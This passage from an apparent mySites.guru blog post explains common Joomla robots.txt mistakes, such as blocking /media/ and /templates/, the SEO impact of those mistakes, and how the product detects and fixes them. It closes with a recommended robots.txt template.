&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/robots-txt-check-passing.C3tXINWc_2kzlP4.webp&quot; srcset=&quot;https://mysites.guru/_astro/robots-txt-check-passing.C3tXINWc_1DBDvo.webp 640w, https://mysites.guru/_astro/robots-txt-check-passing.C3tXINWc_Z205gdL.webp 750w, https://mysites.guru/_astro/robots-txt-check-passing.C3tXINWc_Z4D45a.webp 828w, https://mysites.guru/_astro/robots-txt-check-passing.C3tXINWc_2kzlP4.webp 972w&quot; alt=&quot;mySites.guru robots.txt check showing a passing result with green checkmark and the message that the robots.txt file is not blocking Google and other crawlers&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 972px) 972px, 100vw&quot; width=&quot;972&quot; height=&quot;1151&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Deeper audit check&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt; goes further. During a full audit, mySites.guru reads every file on your webspace and checks whether your &lt;code&gt;robots.txt&lt;/code&gt; has been modified from the Joomla default. If it hasn’t, the audit flags that too: “Distributed robots.txt File Should Be Modified To Suit Your Site.”&lt;/p&gt;
&lt;p&gt;This catches the broader problem of sites running completely unchanged defaults. Even if the default doesn’t block &lt;code&gt;/media/&lt;/code&gt; (as in Joomla 5’s default), it still lacks a &lt;code&gt;Sitemap&lt;/code&gt; directive and may not reflect your specific configuration.&lt;/p&gt;
&lt;h3&gt;One-click fix&lt;/h3&gt;
&lt;p&gt;When the check finds a problem, you get a clear warning with an “Auto-Magically Fix This For Me” button:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/robots-txt-issue-detected.C2gJ2y3-_Z1cbSSl.webp&quot; srcset=&quot;https://mysites.guru/_astro/robots-txt-issue-detected.C2gJ2y3-_1jT7D4.webp 640w, https://mysites.guru/_astro/robots-txt-issue-detected.C2gJ2y3-_4zQXV.webp 750w, https://mysites.guru/_astro/robots-txt-issue-detected.C2gJ2y3-_2djIyz.webp 828w, https://mysites.guru/_astro/robots-txt-issue-detected.C2gJ2y3-_Z1cbSSl.webp 859w&quot; alt=&quot;mySites.guru warning showing that the robots.txt file is blocking Google and other crawlers, with a black Auto-Magically Fix This For Me button&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 859px) 859px, 100vw&quot; width=&quot;859&quot; height=&quot;761&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Click it and mySites.guru removes the &lt;code&gt;Disallow: /templates/&lt;/code&gt; and &lt;code&gt;Disallow: /media/&lt;/code&gt; lines from your robots.txt and saves the updated file back to your site.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/robots-txt-fixed.BIJySRrE_ZhQrG6.webp&quot; srcset=&quot;https://mysites.guru/_astro/robots-txt-fixed.BIJySRrE_ZhQrG6.webp 449w&quot; alt=&quot;mySites.guru confirmation showing the fix was applied successfully with a green checkmark and the message That was easy eh?&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 449px) 449px, 100vw&quot; width=&quot;449&quot; height=&quot;512&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you need to make more detailed changes, mySites.guru also includes a full file editor for your robots.txt. You can view and edit the raw file contents with syntax-highlighted line numbers, then click Save to push the changes directly to your site:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_Z1oiSRv.webp&quot; srcset=&quot;https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_1VcnbK.webp 640w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_HsiAd.webp 750w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_Z1Jn8JH.webp 828w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_Z2qzxnt.webp 1080w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_Z1zck4d.webp 1280w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_Z1NJxss.webp 1668w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_GOVFp.webp 2048w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_BLF1d.webp 2560w, https://mysites.guru/_astro/robots-txt-file-editor.DmcrihWQ_Z1oiSRv.webp 2578w&quot; alt=&quot;mySites.guru built-in robots.txt file editor showing the raw file contents with line numbers, a Twilight syntax theme, and Save button to push changes to the site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2578px) 2578px, 100vw&quot; width=&quot;2578&quot; height=&quot;2144&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Check all your sites at once with the pivot page&lt;/h3&gt;
&lt;p&gt;If you manage multiple Joomla sites, you don’t need to open each one individually. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/mediaandtemplate&quot;&gt;robots.txt pivot page&lt;/a&gt; shows the status of this check across every connected Joomla site on a single screen. Each site shows either “OK” (green) or “1 Issue” (red), with “Investigate” and “Manage Site” buttons for quick action.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_1dDlua.webp&quot; srcset=&quot;https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_Z176tM9.webp 640w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_ZUH2b9.webp 750w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_Z2doBVd.webp 828w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_Z23vyM2.webp 1080w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_ZMB62S.webp 1280w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_1oflbT.webp 1668w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_Z1ogzUb.webp 2048w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_2eyIi.webp 2560w, https://mysites.guru/_astro/robots-txt-pivot-all-sites.BoxOrEtD_1dDlua.webp 2934w&quot; alt=&quot;mySites.guru pivot page showing the robots.txt media and template check across multiple Joomla sites, with OK and 1 Issue status indicators for each site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2934px) 2934px, 100vw&quot; width=&quot;2934&quot; height=&quot;1698&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For agencies and freelancers managing client portfolios, this view saves a lot of time. Instead of logging into each site’s snapshot results, you can scan dozens or hundreds of sites in seconds and jump straight to the ones that need attention.&lt;/p&gt;
&lt;p&gt;You can also &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule automated audits&lt;/a&gt; so the deeper robots.txt analysis runs on a regular cadence without you having to remember to trigger it.&lt;/p&gt;
&lt;h2&gt;What Is robots.txt and Why Should You Care?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;robots.txt&lt;/code&gt; file lives at &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt;. It’s a plain text file that search engine crawlers read before they start indexing your site. The file contains simple directives: which user agents (crawlers) are addressed, which paths they’re allowed to access, and which they should skip.&lt;/p&gt;
&lt;p&gt;Here’s a simplified example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /administrator/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cache/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /tmp/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://example.com/sitemap.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;User-agent: *&lt;/code&gt; line means “this applies to all crawlers.” The &lt;code&gt;Disallow&lt;/code&gt; lines tell crawlers not to access those paths. The &lt;code&gt;Allow&lt;/code&gt; line explicitly permits everything else. The &lt;code&gt;Sitemap&lt;/code&gt; line points crawlers to your XML sitemap.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;robots.txt is advisory, not a security measure&lt;/p&gt;&lt;p&gt;Well-behaved crawlers like Googlebot honor robots.txt rules, but malicious bots ignore them entirely. Never rely on robots.txt to hide sensitive content. Use proper authentication and &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt; instead.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Why should you care? Because one wrong line in this file can prevent Google from indexing entire sections of your site. Block the wrong folder and your images vanish from search results, your CSS and JavaScript become invisible to Google’s rendering engine, and your pages might be assessed as broken or low quality.&lt;/p&gt;
&lt;p&gt;On the flip side, a well-configured &lt;code&gt;robots.txt&lt;/code&gt; helps search engines crawl your site efficiently. It tells them to skip admin directories they don’t need, points them to your sitemap, and makes sure they can access every resource they need to render your pages properly.&lt;/p&gt;
&lt;h2&gt;What Is Wrong With Joomla’s Default robots.txt?&lt;/h2&gt;
&lt;p&gt;Joomla has shipped a &lt;code&gt;robots.txt&lt;/code&gt; file with every release. The problem is that the default version was overly restrictive for years, and many sites are still running those old defaults.&lt;/p&gt;
&lt;h3&gt;The pre-3.4.0 mistake&lt;/h3&gt;
&lt;p&gt;This one affected a huge number of Joomla sites worldwide, and many are still living with the consequences over a decade later.&lt;/p&gt;
&lt;p&gt;Before Joomla 3.4.0 (released February 2015), the default &lt;code&gt;robots.txt&lt;/code&gt; that shipped with every Joomla installation included these lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Disallow: /media/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /templates/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those two lines told every search engine crawler: don’t look at anything in the media folder, and don’t look at anything in the templates folder. Every single Joomla site installed between September 2005 (Joomla 1.0) and February 2015 (Joomla 3.4.0) got this file by default. That’s nearly ten years of installations.&lt;/p&gt;
&lt;p&gt;Think about what lives in those folders:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/media/&lt;/code&gt;&lt;/strong&gt; contains your uploaded images, CSS files, JavaScript libraries, and media assets that Joomla extensions place there. Blocking this folder means Google can’t see any of those resources. Every image you’ve carefully optimised, every product photo, every infographic - invisible to Google Image Search.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/templates/&lt;/code&gt;&lt;/strong&gt; contains your template’s CSS, JavaScript, images, and font files. Blocking this folder means Google can’t load your site’s stylesheet or scripts when it tries to render the page. To Google’s rendering engine, your site looks like raw unstyled HTML from the 1990s.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The issue came to a head in July 2015 when Google started actively penalising sites that blocked rendering resources. Google sent mass warning emails to every site registered in Search Console (which had just been rebranded from Google Webmaster Tools two months earlier) that was blocking CSS and JavaScript. Tens of thousands of Joomla site owners received that warning on the same day. The Joomla forums and community channels were flooded with confused administrators who had never touched their robots.txt and couldn’t understand why Google was suddenly complaining.&lt;/p&gt;
&lt;p&gt;The Joomla project had already fixed the default &lt;code&gt;robots.txt&lt;/code&gt; in version 3.4.0 five months earlier, but the damage was done: sites that had already been installed kept the old file. And because Joomla’s updater doesn’t overwrite &lt;code&gt;robots.txt&lt;/code&gt; (more on that below), even sites that upgraded to 3.4+ kept the old restrictive rules unless someone manually edited the file.&lt;/p&gt;
&lt;h3&gt;Why old defaults stick around&lt;/h3&gt;
&lt;p&gt;Joomla doesn’t overwrite &lt;code&gt;robots.txt&lt;/code&gt; during updates. When you upgrade from Joomla 3.3 to 3.4 (or from 3.x to 4.x, or 4.x to 5.x), your existing &lt;code&gt;robots.txt&lt;/code&gt; stays exactly as it was. The updated version ships as &lt;code&gt;robots.txt.dist&lt;/code&gt; so you can compare, but the actual file serving your site remains untouched.&lt;/p&gt;
&lt;p&gt;That means if you installed Joomla before version 3.4.0 and never manually edited your &lt;code&gt;robots.txt&lt;/code&gt;, those restrictive rules are still there. Your site could have been blocking Google from your images and CSS for over a decade.&lt;/p&gt;
&lt;p&gt;Even sites installed after 3.4.0 aren’t always clean. Some hosting providers use outdated Joomla installation packages. Some site builders copy &lt;code&gt;robots.txt&lt;/code&gt; files from other projects without checking what’s in them. And some well-meaning tutorials from 2013 still rank on page one of Google, telling people to add &lt;code&gt;Disallow: /media/&lt;/code&gt; for “security reasons.”&lt;/p&gt;
&lt;h3&gt;Real-world examples: even joomla.org gets this wrong&lt;/h3&gt;
&lt;p&gt;You’d think the Joomla project’s own website would have a clean robots.txt. It doesn’t. As of March 2026, &lt;a href=&quot;https://www.joomla.org/robots.txt&quot;&gt;joomla.org’s robots.txt&lt;/a&gt; blocks both &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Disallow: /media/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /templates/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To work around this, whoever configured it added a series of Allow rules for specific file extensions using wildcard patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Allow: /*.js***************&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /*.css**************&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /*.png**************&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /*.jpg**************&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those long chains of asterisks are unnecessary (a single &lt;code&gt;*&lt;/code&gt; does the same thing), and the whole approach is backwards. Instead of blocking entire directories and then trying to selectively allow file types back in, the correct approach is to simply not block &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; in the first place. The joomla.org robots.txt also blocks &lt;code&gt;/components/&lt;/code&gt;, &lt;code&gt;/modules/&lt;/code&gt;, and &lt;code&gt;/plugins/&lt;/code&gt;, which can prevent crawlers from accessing frontend assets served by extensions.&lt;/p&gt;
&lt;p&gt;Another example: &lt;a href=&quot;https://www.akeeba.com/robots.txt&quot;&gt;akeeba.com’s robots.txt&lt;/a&gt; has a commented-out Disallow for &lt;code&gt;/images/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;#Disallow: /images/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Someone clearly realised that blocking &lt;code&gt;/images/&lt;/code&gt; was a bad idea and commented it out rather than removing the line. But the file still blocks &lt;code&gt;/components/&lt;/code&gt; and &lt;code&gt;/plugins/&lt;/code&gt;, and it has no &lt;code&gt;Sitemap&lt;/code&gt; directive. It’s also missing any &lt;code&gt;Allow&lt;/code&gt; rules for &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt;, though at least those aren’t explicitly blocked either.&lt;/p&gt;
&lt;p&gt;These are prominent Joomla community sites maintained by experienced developers. If they can get this wrong, it’s a safe bet that plenty of smaller sites have similar or worse configurations sitting unreviewed.&lt;/p&gt;
&lt;h2&gt;What Are the Five Most Common robots.txt Mistakes on Joomla Sites?&lt;/h2&gt;
&lt;p&gt;After analysing robots.txt configurations across thousands of Joomla sites through mySites.guru, these are the mistakes I see again and again.&lt;/p&gt;
&lt;h3&gt;1. Blocking /media/ and /templates/&lt;/h3&gt;
&lt;p&gt;This is the big one. As covered above, blocking these folders prevents Google from accessing your images, stylesheets, and scripts. The impact hits two areas:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The impact hits two areas&lt;/p&gt;&lt;div&gt;&lt;p&gt;Image SEO is dead: if Google can’t crawl your &lt;code&gt;/media/&lt;/code&gt; folder, your images won’t appear in Google Image Search. For many sites, image search is a significant traffic source. Product images, portfolio photos, infographics, all invisible to Google.&lt;/p&gt;&lt;p&gt;Page rendering also fails: Google renders pages using a headless Chromium browser to assess layout, content visibility, and user experience. If it can’t load your CSS and JavaScript, it sees a broken, unstyled page. That affects your Core Web Vitals scores and can hurt your rankings.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You can verify this yourself. Open Google Search Console, go to the URL Inspection tool, and click “Test Live URL.” Then look at the rendered screenshot. If your page appears unstyled or broken, robots.txt blocking is a likely culprit.&lt;/p&gt;
&lt;h3&gt;2. No Sitemap directive&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;Sitemap&lt;/code&gt; line in robots.txt is one of the simplest SEO wins available, and most Joomla sites don’t have it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Sitemap: https://example.com/sitemap.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This line tells every search engine that visits your &lt;code&gt;robots.txt&lt;/code&gt; exactly where to find your XML sitemap. Without it, crawlers rely on you manually submitting your sitemap through Google Search Console, Bing Webmaster Tools, and every other search engine’s webmaster interface.&lt;/p&gt;
&lt;p&gt;With the &lt;code&gt;Sitemap&lt;/code&gt; directive, any crawler that reads your &lt;code&gt;robots.txt&lt;/code&gt; (Google, Bing, Yandex, DuckDuckGo, and others) automatically discovers your sitemap. One line, all search engines covered.&lt;/p&gt;
&lt;p&gt;If you’re using a Joomla sitemap extension (and you should be), add the sitemap URL to your &lt;code&gt;robots.txt&lt;/code&gt;. If you’re running multiple sitemaps or a sitemap index, you can add multiple lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Sitemap: https://example.com/sitemap.xml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://example.com/sitemap-images.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Blocking /images/ and /components/&lt;/h3&gt;
&lt;p&gt;Some Joomla &lt;code&gt;robots.txt&lt;/code&gt; files block the &lt;code&gt;/images/&lt;/code&gt; directory. This is where Joomla’s built-in media manager stores uploads by default (alongside &lt;code&gt;/media/&lt;/code&gt;). Blocking it has the same effect as blocking &lt;code&gt;/media/&lt;/code&gt;, and your uploaded content becomes invisible to search engines.&lt;/p&gt;
&lt;p&gt;I also see sites blocking &lt;code&gt;/components/&lt;/code&gt;, which contains the frontend output of Joomla components. If a component generates pages, images, or downloadable files through its own routes, blocking &lt;code&gt;/components/&lt;/code&gt; can prevent those from being indexed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# Don&apos;t do this&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /images/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /components/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Overly broad wildcard rules&lt;/h3&gt;
&lt;p&gt;Some administrators add wildcard rules that accidentally block more than intended:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# This blocks everything starting with /t - including /templates/ AND /terms-of-service/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /t&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Robots.txt patterns are matched by simple substring comparison from the start of the URL path. &lt;code&gt;Disallow: /t&lt;/code&gt; doesn’t just block &lt;code&gt;/tmp/&lt;/code&gt;. It blocks every URL that starts with &lt;code&gt;/t&lt;/code&gt;, including valid content pages.&lt;/p&gt;
&lt;p&gt;The correct approach is to be specific and include trailing slashes for directories:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Disallow: /tmp/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cache/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Using the unchanged Joomla default&lt;/h3&gt;
&lt;p&gt;Even the current Joomla 5 default &lt;code&gt;robots.txt.dist&lt;/code&gt; is designed as a starting point, not a finished configuration. It covers the basics (blocking &lt;code&gt;/administrator/&lt;/code&gt;, &lt;code&gt;/api/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, &lt;code&gt;/cli/&lt;/code&gt;, &lt;code&gt;/tmp/&lt;/code&gt;, and similar system directories) but it doesn’t include a &lt;code&gt;Sitemap&lt;/code&gt; directive, and it may not reflect your specific site structure.&lt;/p&gt;
&lt;p&gt;If your Joomla site uses SEF URLs (which it should), has a blog section, runs an e-commerce component, or serves content in multiple languages, you likely need a customised &lt;code&gt;robots.txt&lt;/code&gt; that accounts for your URL patterns.&lt;/p&gt;
&lt;h2&gt;How Do You Manually Check Your Joomla robots.txt?&lt;/h2&gt;
&lt;p&gt;If you want to audit your &lt;code&gt;robots.txt&lt;/code&gt; by hand, here’s the process.&lt;/p&gt;
&lt;h3&gt;Step 1: view the file&lt;/h3&gt;
&lt;p&gt;Open your browser and go to &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt;. You’ll see the raw text contents of the file. If you get a 404, your site doesn’t have a &lt;code&gt;robots.txt&lt;/code&gt; file at all, which is a different problem (more on that later).&lt;/p&gt;
&lt;h3&gt;Step 2: look for red flags&lt;/h3&gt;
&lt;p&gt;Scan for these specific issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /media/&lt;/code&gt;&lt;/strong&gt; - blocking your media assets from crawlers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /templates/&lt;/code&gt;&lt;/strong&gt; - blocking your template CSS, JS, and images&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /images/&lt;/code&gt;&lt;/strong&gt; - blocking uploaded images&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No &lt;code&gt;Sitemap:&lt;/code&gt; line&lt;/strong&gt; - missing sitemap reference&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /&lt;/code&gt;&lt;/strong&gt; - blocking your entire site (yes, I’ve seen this)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Broad patterns without trailing slashes&lt;/strong&gt; - like &lt;code&gt;Disallow: /t&lt;/code&gt; instead of &lt;code&gt;Disallow: /tmp/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 3: test with Google Search Console&lt;/h3&gt;
&lt;p&gt;Google provides a robots.txt testing tool in Search Console. Submit your robots.txt content along with URLs you want to test, and it will tell you which URLs are blocked and which are allowed.&lt;/p&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://search.google.com/search-console/&quot;&gt;Google Search Console&lt;/a&gt;, select your property, and use the URL Inspection tool to check whether specific pages are indexable or blocked by robots.txt.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Subfolder installations need special handling&lt;/p&gt;&lt;p&gt;If your Joomla site is installed in a subfolder (e.g., &lt;code&gt;example.com/joomla/&lt;/code&gt;), the robots.txt file must be at the domain root (&lt;code&gt;example.com/robots.txt&lt;/code&gt;), and all paths must include the subfolder prefix: &lt;code&gt;Disallow: /joomla/administrator/&lt;/code&gt; instead of &lt;code&gt;Disallow: /administrator/&lt;/code&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;Step 4: compare against a recommended template&lt;/h3&gt;
&lt;p&gt;Here’s a solid starting point for a Joomla 5 robots.txt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /administrator/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /api/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cache/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cli/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /libraries/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /tmp/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /layouts/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /media/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /templates/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /images/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://example.com/sitemap.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the explicit &lt;code&gt;Allow&lt;/code&gt; lines for &lt;code&gt;/media/&lt;/code&gt;, &lt;code&gt;/templates/&lt;/code&gt;, and &lt;code&gt;/images/&lt;/code&gt;. While an &lt;code&gt;Allow&lt;/code&gt; isn’t strictly necessary if those paths aren’t blocked, including them makes your intent clear and protects against future confusion if someone adds a broader rule later.&lt;/p&gt;
&lt;h2&gt;What about WordPress?&lt;/h2&gt;
&lt;p&gt;While this post focuses on Joomla, WordPress sites have their own robots.txt pitfalls. WordPress dynamically generates a virtual &lt;code&gt;robots.txt&lt;/code&gt; if no physical file exists, which is actually a reasonable default. But many WordPress users create physical &lt;code&gt;robots.txt&lt;/code&gt; files with overly restrictive rules, often blocking &lt;code&gt;/wp-content/uploads/&lt;/code&gt; (where all media uploads live) or &lt;code&gt;/wp-content/themes/&lt;/code&gt; (where template assets live).&lt;/p&gt;
&lt;p&gt;mySites.guru checks robots.txt on WordPress sites too. The same &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; process flags blocked asset directories regardless of which CMS you’re running.&lt;/p&gt;
&lt;h2&gt;What Does Blocking Media Folders Actually Cost You?&lt;/h2&gt;
&lt;p&gt;The consequences go beyond missing images. When your robots.txt blocks &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt;, you lose Google Image Search traffic entirely - every product photo, portfolio image, and infographic becomes invisible. Your &lt;a href=&quot;https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/&quot;&gt;Lighthouse scores&lt;/a&gt; drop because Google’s rendering engine can’t load your CSS or JavaScript, so it sees a broken page and your Core Web Vitals suffer. Rich results (snippets, knowledge panels) disappear because Google can’t render the page content needed to generate them. And since Google uses mobile-first indexing, a blocked &lt;code&gt;/templates/&lt;/code&gt; folder means the smartphone crawler sees an unresponsive layout, which is what gets used for ranking.&lt;/p&gt;
&lt;h2&gt;What Other robots.txt SEO Checks Should You Run?&lt;/h2&gt;
&lt;p&gt;A thorough robots.txt audit goes beyond just checking for blocked media folders. Here are additional things to verify:&lt;/p&gt;
&lt;h3&gt;Crawl budget efficiency&lt;/h3&gt;
&lt;p&gt;Large Joomla sites with thousands of pages need to manage their crawl budget, the number of pages Google will crawl on your site in a given time period. Your robots.txt should block:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/administrator/&lt;/code&gt; - Google doesn’t need your admin panel&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cache/&lt;/code&gt; - temporary cached files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/&lt;/code&gt; - temporary upload directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cli/&lt;/code&gt; - command-line scripts&lt;/li&gt;
&lt;li&gt;URL parameters that create duplicate content (e.g., print views, sort parameters)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Multiple User-agent blocks&lt;/h3&gt;
&lt;p&gt;If you want different rules for different crawlers (e.g., blocking a specific AI crawler but allowing Googlebot), you can use multiple User-agent blocks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /administrator/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;User-agent: GPTBot&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;User-agent: Googlebot&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
